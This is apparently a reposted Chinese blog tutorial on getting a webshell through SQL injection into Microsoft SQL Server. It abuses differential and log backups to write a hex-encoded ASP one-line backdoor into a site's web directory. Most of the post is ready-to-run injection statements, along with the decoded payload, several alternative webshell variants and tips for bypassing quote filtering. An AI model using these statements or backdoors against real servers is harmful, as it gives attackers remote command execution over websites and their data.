• MSSQL差异备份拿shell(转)


    MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!


    差异备份的流程大概这样:
    1.完整备份一次(保存位置当然可以改)
    backup database 库名 to disk =
    'c:\ddd.bak';--

    2.创建表并插入数据
    create table [dbo].[dtest] ([cmd]
    [image]);--
    insert into dtest(cmd)
    values(0x3C25657865637574652872657175657374282261222929253E);--

    3.进行差异备份
    backup
    database 库名 to disk='目标位置\d.asp' WITH
    DIFFERENTIAL,FORMAT;--

    上面
    0x3C25657865637574652872657175657374282261222929253E
    就是一句话木马的内容:<%execute(request("a"))%>

    如下是网上常见的差异备份代码,思路一样!
    ===================================================
    利用差异备份提高提高backupwebshell的成功率,减少文件大小
    步骤:
    declare
    @a sysname,@s nvarchar(4000) select
    @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to
    disk=@s

    create table [dbo].[xiaolu] ([cmd] [image]);

    insert into
    xiaolu(cmd)
    values(0x3C25657865637574652872657175657374282261222929253E)

    declare @a
    sysname,@s nvarchar(4000) select
    @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000
    backup database @a to disk=@s WITH
    DIFFERENTIAL,FORMAT

    0x77006F006B0061006F002E00620061006B00为wokao.bak
    0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
    0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

    声明:方法不是我想的,我只是写工具,默认得到shell是
    <%execute(request("a"))%>
    ===============================================================

    我发现上面代码,有时会无效,而直接用

    backup
    database 库名 to disk = 'c:\ddd.bak'

    create table [dbo].[dtest] ([cmd]
    [image]);
    insert into dtest(cmd)
    values(0x3C25657865637574652872657175657374282261222929253E)

    backup
    database 库名 to disk='目标位置\d.asp' WITH
    DIFFERENTIAL,FORMAT;--

    却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

    库名
    必须要有效的库名,一般注入工具都可以得到!如果某站过滤
    "‘",就要把字符内容转为数值了!


    网上还有log增量备份的,我也把他记录一下
    =====================================================
    另一种log增量备份技术:

    ';alter
    database null set RECOVERY FULL--

    ';create table cmd (a
    image)--

    ';backup log null to disk = 'f:\cmd' with init--

    ';insert
    into cmd (a) values
    (0x3C2565786563757465287265717565737428226122292
    9253EDA)--

    ';backup
    log null to disk =
    '备份路径'--

    PS:0x3C2565786563757465287265717565737428226122292
    9253EDA
    是一句话小马16进制转来的

    说到一句话马,还可以有这么几种写法:

    a).<%%25Execute(request("a"))%%25>
    b).<%Execute(request("a"))%>
    c).%><%execute
    request("a")%><%
    d).<script. language=VBScript.
    runat=server>execute
    request("a")</script>
    e).<%25Execute(request("a"))%25>

  • 相关阅读:
    笔记
    Jquery 实现select 3级级联查询
    将properties文件的配置设置为整个Web应用的全局变量。
    jquery ajax异步提交表单数据
    tomcat : 虚拟路径映射
    使用bootstrap-select控件 搜索栏键入关键字动态获取后台数据
    Springboot解决ajax跨域的三种方式
    oracle中的递归查询语句
    oracle使用序列自定义固定长度id
    JVM内存空间
  • 原文地址:https://www.cnblogs.com/demonspider/p/2978113.html
Copyright © 2020-2023  润新知